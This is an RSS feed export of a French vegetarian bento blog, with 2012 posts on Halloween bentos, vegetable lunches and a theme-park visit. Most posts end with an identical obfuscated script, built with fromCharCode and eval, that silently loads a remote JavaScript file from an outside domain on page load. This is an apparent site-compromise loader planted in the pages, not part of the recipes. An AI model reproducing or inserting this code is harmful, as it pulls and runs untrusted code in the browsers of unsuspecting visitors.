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	<title>Mon Bento Végétarien &#187; alfalfa</title>
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	<description>Une site avec des bentos mais pas que</description>
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		<title>Bento Halloween</title>
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		<pubDate>Mon, 29 Oct 2012 06:51:09 +0000</pubDate>
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		<description><![CDATA[Aujourd&#8217;hui dans mon Bento c&#8217;est ambiance Halloween ! J&#8217;y ai mis 1 demi prune, 1 bonbon citrouille, du maïs en épi, des pousses d&#8217;Alfalfa, 1 demi tomate green zebra (dans laquelle est planté un pique citrouille), du chou-fleur cru (violet et orange), du brocoli à la vapeur et 1 demi avocat sur lequel j&#8217;ai disposé [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/hhv.jpg"><img class="aligncenter size-large wp-image-2975" title="hhv" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/hhv-808x1024.jpg" alt="" width="485" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">Aujourd&rsquo;hui dans mon Bento c&rsquo;est ambiance Halloween !</p>
<p style="text-align: center;">J&rsquo;y ai mis <strong>1</strong> demi prune, <strong>1</strong> bonbon citrouille, du maïs en épi, des pousses d&rsquo;Alfalfa, <strong>1</strong> demi tomate green zebra <em>(dans laquelle est planté un pique citrouille)</em>, du chou-fleur cru (violet et orange), du brocoli à la vapeur et <strong>1</strong> demi avocat sur lequel j&rsquo;ai disposé des étoiles de carotte violette et <strong>1</strong> petit chat en pâte brisée.</p>
<p style="text-align: center;">Il y a aussi <strong>2</strong> petites <a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank">tartelettes &laquo;&nbsp;de la sorcière&nbsp;&raquo;</a> <em>(Potimarron/Patate douce/Chèvre frais)</em>. Vous aurez remarqué que celle du bas s&rsquo;est déguisée en citrouille <em>(avec du nori)</em>.</p>
<p style="text-align: center;">Pour la recette des tartelettes, cliquez : <a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank">ici</a> !</p>
<p style="text-align: center;">Et pour rester dans l&rsquo;ambiance Sorcellerie et citrouilles voici en prime quelques souvenirs de mon voyage chez Harry Potter (au parc Universal d&rsquo;Orlando).</p>
<p style="text-align: center;">J&rsquo;y retournerais bien fêter Halloween&#8230;</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-05-46.jpg"><img class="size-full wp-image-2990    aligncenter" title="Photo 29-10-12 06 05 46" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-05-46.jpg" alt="" width="430" height="430" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">Revoir le château et me promener dans Pré-au-Lard&#8230;</p>
<p style="text-align: center;">
<p style="text-align: center;">★★☆★★</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-08-38.jpg"><img class="size-full wp-image-2991  aligncenter" title="Photo 29-10-12 06 08 38" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-08-38.jpg" alt="" width="430" height="430" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">Refaire une photo avec le contrôleur du Poudlard Express et aller manger au Trois Balais&#8230;</p>
<p style="text-align: center;">(La bière au beurre et le jus d&rsquo;citrouille&#8230; <strong>Je Valide !)</strong></p>
<p style="text-align: center;">Miam !</p>
<p style="text-align: center;">★★☆★★</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-16-08.jpg"><img class="size-full wp-image-2992    aligncenter" title="Photo 29-10-12 06 16 08" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/Photo-29-10-12-06-16-08.jpg" alt="" width="430" height="430" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">Et aller chez Honeydukes acheter des Mouches en chocolat</p>
<p style="text-align: center;">et des dragées surprises de Bertie Crochue !</p>
<p style="text-align: center;">★★☆★★</p>
<p style="text-align: center;"><strong>Happy Halloween !</strong></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Le Bento a des Yeux</title>
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		<pubDate>Sun, 28 Oct 2012 16:38:51 +0000</pubDate>
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		<description><![CDATA[Aujourd’hui dans mon Bento il y a des Yeux&#8230; Mais pas Seulement ! Il y a aussi du chou-fleur violet et du chou-fleur orange (à la vapeur), 3 tranchettes de tomate Green Zebra, 2 bonbons Citrouille, 1 part de Tarte Prunes Jaunes/Amandine et 1 belle part de ma Tarte de la Sorcière Potimarron/Patate Douce/Chèvre frais [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/halloween-bentooo.jpg"><img class="aligncenter size-large wp-image-2960" title="halloween bentooo" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/halloween-bentooo-830x1024.jpg" alt="" width="498" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">Aujourd’hui dans mon Bento il y a des Yeux&#8230; Mais pas Seulement !</p>
<p style="text-align: left;">Il y a aussi du chou-fleur violet et du chou-fleur orange <em>(à la vapeur)</em>, <strong>3</strong> tranchettes de tomate Green Zebra, <strong>2</strong> bonbons Citrouille, <strong>1</strong> part de Tarte Prunes Jaunes/Amandine et <strong>1</strong> belle part de ma <a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank">Tarte de la Sorcière</a> Potimarron/Patate Douce/Chèvre frais <em>(décorée à la carotte violette)</em>. Le tout repose sur un mystérieux, <em>(car invisible)</em>, lit de pousses d&rsquo;Alfalfa .</p>
<p style="text-align: center;"><strong>Pour la recette de le Tarte au Potimarron de la Sorcière c&rsquo;est par : <a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank">ici</a> !</strong></p>
<p style="text-align: center;"><strong><a href="http://www.monbentovegetarien.com/2012/10/26/%E2%98%85%E2%98%86la-tarte-de-la-sorciere%E2%98%86%E2%98%85-potimarron-patate-douce-et-chevre-frais/" target="_blank"><img class="aligncenter" title="tarte de la sorciere" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/10/jhhjkj.jpg" alt="" width="187" height="293" /></a><br />
</strong></p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Beignets de Poivron Vert (et sa déclaration d&#8217;Amour au DécoBen set)</title>
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		<pubDate>Mon, 11 Jun 2012 05:03:32 +0000</pubDate>
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		<description><![CDATA[Ils sont bons mes beignets de poivron vert au fromage. Ils sont bons même le lendemain ! Et qui dit lendemain&#8230; Dit Bento ! Dans mon Bento Beignet de Poivron vert il y a donc des beignets de poivron vert (logique), mais aussi des radis ronds décorés à l&#8217;emporte pièce marguerite, des tranches de citron, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/bdpv.jpg"><img class="aligncenter size-large wp-image-2235" title="bdpv" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/bdpv-703x1024.jpg" alt="" width="422" height="614" /></a></p>
<p style="text-align: center;">Ils sont bons mes <a href="http://www.monbentovegetarien.com/2012/06/08/beignets-de-poivrons-verts-ou-les-diy-hot-cheese-nuggets/" target="_blank">beignets de poivron vert</a> au fromage. Ils sont bons même le lendemain ! Et qui dit lendemain&#8230; Dit Bento !</p>
<p style="text-align: left;">
<p style="text-align: center;">
<p style="text-align: left;">Dans mon Bento Beignet de Poivron vert il y a donc des <a href="http://www.monbentovegetarien.com/2012/06/08/beignets-de-poivrons-verts-ou-les-diy-hot-cheese-nuggets/" target="_blank">beignets de poivron vert</a> (logique), mais aussi des radis ronds décorés à <a href="http://www.mora.fr/fr/produit_details.asp?Produit=042131&amp;MenuActif=0&amp;SsMenuActif=9" target="_blank">l&rsquo;emporte pièce marguerite</a>, des tranches de citron, une demi-prune, un kiwi et des feuilles d&rsquo;endives rouge. Le tout repose sur un lit de délicates pousses d&rsquo;alfalfa. Miam !</p>
<p style="text-align: left;">Vous aurez aussi remarqué le petit baran &laquo;&nbsp;fleur&nbsp;&raquo; qui fait partie du <a href="http://www.bentoandco.com/products/deco-ben-set" target="_blank">Décoben set B</a> : le rouge et orange, (trouvé sur <a href="http://www.bentoandco.com/" target="_blank">bento&amp;co</a>).</p>
<p style="text-align: center;"><a href="http://www.bentoandco.com/products/deco-ben-set" target="_blank"><img class="aligncenter" title="decoben" src="http://cdn.shopify.com/s/files/1/0001/8802/products/Deco_Bento_Set_B_1_large.jpg?106202" alt="" width="480" height="360" /></a></p>
<p style="text-align: center;">Ce set je l&rsquo;adore ! Pour ses jolis baran mais aussi pour ses  emporte-pièces, notamment celui qui est en forme de papillon. Je ne me  lasse pas de l&rsquo;utiliser :</p>
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/2011/02/23/chou-rouge-project-bento3/" target="_blank">Chou Rouge Project : Bento#3</a></p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/2011/02/24/chou-rouge-project-bento4/" target="_blank">Chou Rouge Project : Bento#4</a></p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/2012/05/25/bento-salade-de-riz/" target="_blank">Bento Salade de Riz</a></p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/2012/02/29/bento-pasta/" target="_blank">Bento Pasta</a></p>
<p style="text-align: center;">
<p style="text-align: left;">Quand on se lance dans la discipline &laquo;&nbsp;bento-esque&nbsp;&raquo; on a tendance à devenir complètement gaga et à considérer comme <strong>VITAL</strong> tous les accessoires kawaii qui nous passent sous les yeux. Au final on se ruine, (true story), et on se rend compte qu&rsquo;à l&rsquo;usage on a besoin de très peu de choses pour faire de jolis bento.</p>
<p style="text-align: left;">Mais ce set là voyez vous, il contient plusieurs de mes accessoires fétiches alors je l&rsquo;aime. En plus son prix est tout doux ! Tout ça pour dire que si j&rsquo;avais un kit d&rsquo;accessoires à recommander, eh bien ce serait <a href="http://www.bentoandco.com/products/deco-ben-set" target="_blank">celui là</a>. Je tiens à préciser que je n&rsquo;ai aucun sponsor et que ça vient du cœur !</p>
<p style="text-align: center;"><span style="color: #808080;">Et pour les Beignets de Poivron Vert <em>la Recette</em> c&rsquo;est :</span> <a href="http://www.monbentovegetarien.com/2012/06/08/beignets-de-poivrons-verts-ou-les-diy-hot-cheese-nuggets/" target="_blank">par ici !</a></p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Mr.Vitelotte</title>
		<link>http://beta.monbentovegetarien.com/2012/06/06/bento-mr-vitelotte/</link>
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		<pubDate>Wed, 06 Jun 2012 07:21:33 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Bento]]></category>
		<category><![CDATA[alfalfa]]></category>
		<category><![CDATA[artichaut]]></category>
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		<category><![CDATA[fleur]]></category>
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		<category><![CDATA[poivrade]]></category>
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		<category><![CDATA[sésame au wasabi]]></category>
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		<description><![CDATA[Aujourd&#8217;hui il y a de drôles de Patates dans mon Bento ! Pour me remettre de quelques excès, (je vous parlerai bientôt des mes super burgers aux beignets de poivron vert), j&#8217;avais envie d&#8217;un bento reposant pour l&#8217;organisme avec juste du riz et des légumes à la vapeur. J&#8217;ai donc mis du riz, des artichauts [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">Aujourd&rsquo;hui il y a de drôles de Patates dans mon Bento !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/saaa.jpg"><img class="size-large wp-image-2080  aligncenter" title="saaa" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/saaa-644x1024.jpg" alt="" width="425" height="675" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">Pour me remettre de quelques excès, (je vous parlerai bientôt des mes super <a href="http://www.monbentovegetarien.com/2012/06/08/beignets-de-poivrons-verts-ou-les-diy-hot-cheese-nuggets/" target="_blank">burgers aux beignets de poivron vert</a>), j&rsquo;avais envie d&rsquo;un bento reposant pour l&rsquo;organisme avec juste du riz et des légumes à la vapeur.</p>
<p style="text-align: left;">J&rsquo;ai donc mis du riz, des artichauts poivrade, un courgette et des pommes de terre vitelottes dans mon rice cooker. Après cuisson et refroidissement j&rsquo;ai disposé le tout dans mon bento.</p>
<p style="text-align: left;">Quand j&rsquo;ai vu ces <strong>2 p&rsquo;tites Patates Violettes </strong>se dressant bien gentiment dans leur compartiment,  j&rsquo;ai trouvé qu&rsquo;elles avaient <strong>BEAUCOUP</strong> de <strong>Personnalité</strong> !</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">Alors je me suis dit : &laquo;&nbsp;Hey ! On va jouer à <strong>Monsieur PATATE</strong> !&nbsp;&raquo;</p>
<p style="text-align: center;">
<p style="text-align: left;">Et me voilà rajoutant une belle touffe d&rsquo;alfalfa pour les cheveux, une demi-lune de fève pour la bouche, une demi-fève pour chaque œil avec blanc des yeux découpé dans de l&rsquo;emmental et une petite pupille en <a href="http://www.monbentovegetarien.com/2011/02/26/les-graines-de-nigelle/" target="_blank">graine de nigelle</a>.</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/rt.jpg"><img class="size-large wp-image-2081  aligncenter" title="rt" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/06/rt-513x1024.jpg" alt="" width="308" height="614" /></a></p>
<p style="text-align: center;">Trop <strong>Choupinets</strong> mes 2 <strong><span style="color: #333399;">Mr.Vitelotte</span></strong> ! Nan?!</p>
<p style="text-align: left;">Dans ce bento j&rsquo;ai aussi rajouté une belle prune (déééélicieuse), une fleur en vitelotte/tomate cœur de pigeon orange/graines de sésame au wasabi, quelques feuilles d&rsquo;endive rouge et un peu de roquette (cachée sous les <strong><span style="color: #333399;">Mr.Vitelotte</span></strong>).</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Blé Tendre et Lentilles</title>
		<link>http://beta.monbentovegetarien.com/2012/05/30/bento-ble-tendre-et-lentilles/</link>
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		<pubDate>Wed, 30 May 2012 04:28:25 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Bento]]></category>
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		<description><![CDATA[Aujourd&#8217;hui dans mon Bento il y a une salade de Lentilles et une salade de blé tendre ! Voilà un sympathique bento, pas compliqué, bien frais et nourrissant. Dans la salade de blé tendre j&#8217;ai mis du concombre, de la tomate fraiche, le jus et le zeste d&#8217;un citron. Les lentilles elles, ont été cuites [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">Aujourd&rsquo;hui dans mon Bento il y a une salade de Lentilles et une salade de blé tendre !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/05/lentille2.jpg"><img class="aligncenter size-large wp-image-1992" title="bento-végétarien-blé-tendre-lentille-crudités-salade-froid" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/05/lentille2-653x1024.jpg" alt="" width="392" height="614" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">Voilà un sympathique bento, pas compliqué, bien frais et nourrissant. Dans la salade de blé tendre j&rsquo;ai mis du concombre, de la tomate fraiche, le jus et le zeste d&rsquo;un citron.</p>
<p style="text-align: left;">Les lentilles elles, ont été cuites dans un grand volume d&rsquo;eau salé avec beaucoup, BEAUCOUP, d&rsquo;herbes de Provence. Après un passage au frigo on obtient cette délicieuse salade de lentilles froide (j&rsquo;pourrais en manger toute ma vie tellement c&rsquo;est bon).</p>
<p style="text-align: left;">Dans ce bento il y a aussi des pousses d&rsquo;alfalfa, des radis ronds, quelques feuilles de roquette, un kiwi et 3 fraises. J&rsquo;ai déposé une étoile de nori sur chacune des fraises.</p>
<p style="text-align: left;">Des étoiles il y en a aussi sur les lentilles, celles-ci sont découpées à l&rsquo;emporte pièce dans du concombre et de la chair de tomate.</p>
<p style="text-align: left;">Vous aurez aussi remarqué la jolie petite brochette emmental/concombre sur <a href="http://www.bentoandco.com/products/piques-bambou" target="_blank">pique en bambou fleuri</a> de chez <a href="http://www.bentoandco.com/" target="_blank">bento&amp;Co</a> (adorable non?!).</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Prune O&#8217;Lapin</title>
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		<pubDate>Mon, 28 May 2012 06:46:32 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Bento]]></category>
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		<description><![CDATA[Il était une fois dans mon Bento&#8230; Il était une fois un gentil Lapin du nom de Prune O&#8217;Lapin. Monsieur Prune O&#8217;Lapin et ses amis vivaient heureux dans la prairie de la Roquette enchantée. C&#8217;était une prairie pleine de magie, les papillons venaient y faire leur nid. Le sympathique Monsieur Radis et le facétieux Monsieur [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">Il était une fois dans mon Bento&#8230;</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/05/prune.jpg"><img class="aligncenter size-large wp-image-1950" title="bento-lapin" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/05/prune-672x1024.jpg" alt="" width="403" height="614" /></a><em> </em></p>
<p style="text-align: center;">
<p style="text-align: center;"><em>Il était une fois un gentil Lapin du nom de Prune O&rsquo;Lapin.</em></p>
<p style="text-align: center;"><em>Monsieur Prune O&rsquo;Lapin et ses amis vivaient heureux dans la prairie de la Roquette enchantée. C&rsquo;était une prairie pleine de magie, les papillons venaient y faire leur nid.</em></p>
<p style="text-align: center;"><em>Le sympathique Monsieur Radis et le facétieux Monsieur Champi étaient les meilleurs camarades qu&rsquo;on puisse avoir. Ils avaient toujours une blague à faire ou une histoire à raconter. De son coté Prune O&rsquo;Lapin aimait faire plaisir à ses copains en préparant de bons petits plats. Il disait toujours &laquo;&nbsp;Quand y&rsquo;en a pour Un, y&rsquo;en a pour Trois&nbsp;&raquo;. Ainsi les Trois compères se retrouvaient souvent autour d&rsquo;une bonne Pizza.</em></p>
<p style="text-align: center;"><strong>FIN</strong></p>
<p style="text-align: left;"><strong><span style="text-decoration: underline;">Distribution</span></strong> :</p>
<p style="text-align: left;"><span style="color: #99cc00;">- Dans le rôle de Prune O&rsquo;Lapin :</span> Une prune dans laquelle des oreilles, des orbites et des dents en endive rouge ont été insérées. Les pupilles sont en olive noire.</p>
<p style="text-align: left;"><span style="color: #99cc00;">- Dans le rôle de la Pizza :</span> Une <a href="https://twitter.com/BentoVegetarien/status/206421805844541440/photo/1/large" target="_blank">pizza maison</a> avec sauce tomate au poivron vert , au sirop d&rsquo;érable et à l&rsquo;origan. Avec une garniture emmental, mozzarella, chèvre frais, courgette et olives noires.</p>
<p style="text-align: left;"><span style="color: #99cc00;"> </span></p>
<p style="text-align: left;"><span style="color: #99cc00;">-Dans le rôle de Monsieur Radis :</span> Trois radis ronds piqués sur un cure dent, avec fanes pour les cheveux et les bras. Les yeux sont en <a href="http://www.monbentovegetarien.com/2011/02/26/les-graines-de-nigelle/" target="_blank">graines de nigelle</a>.</p>
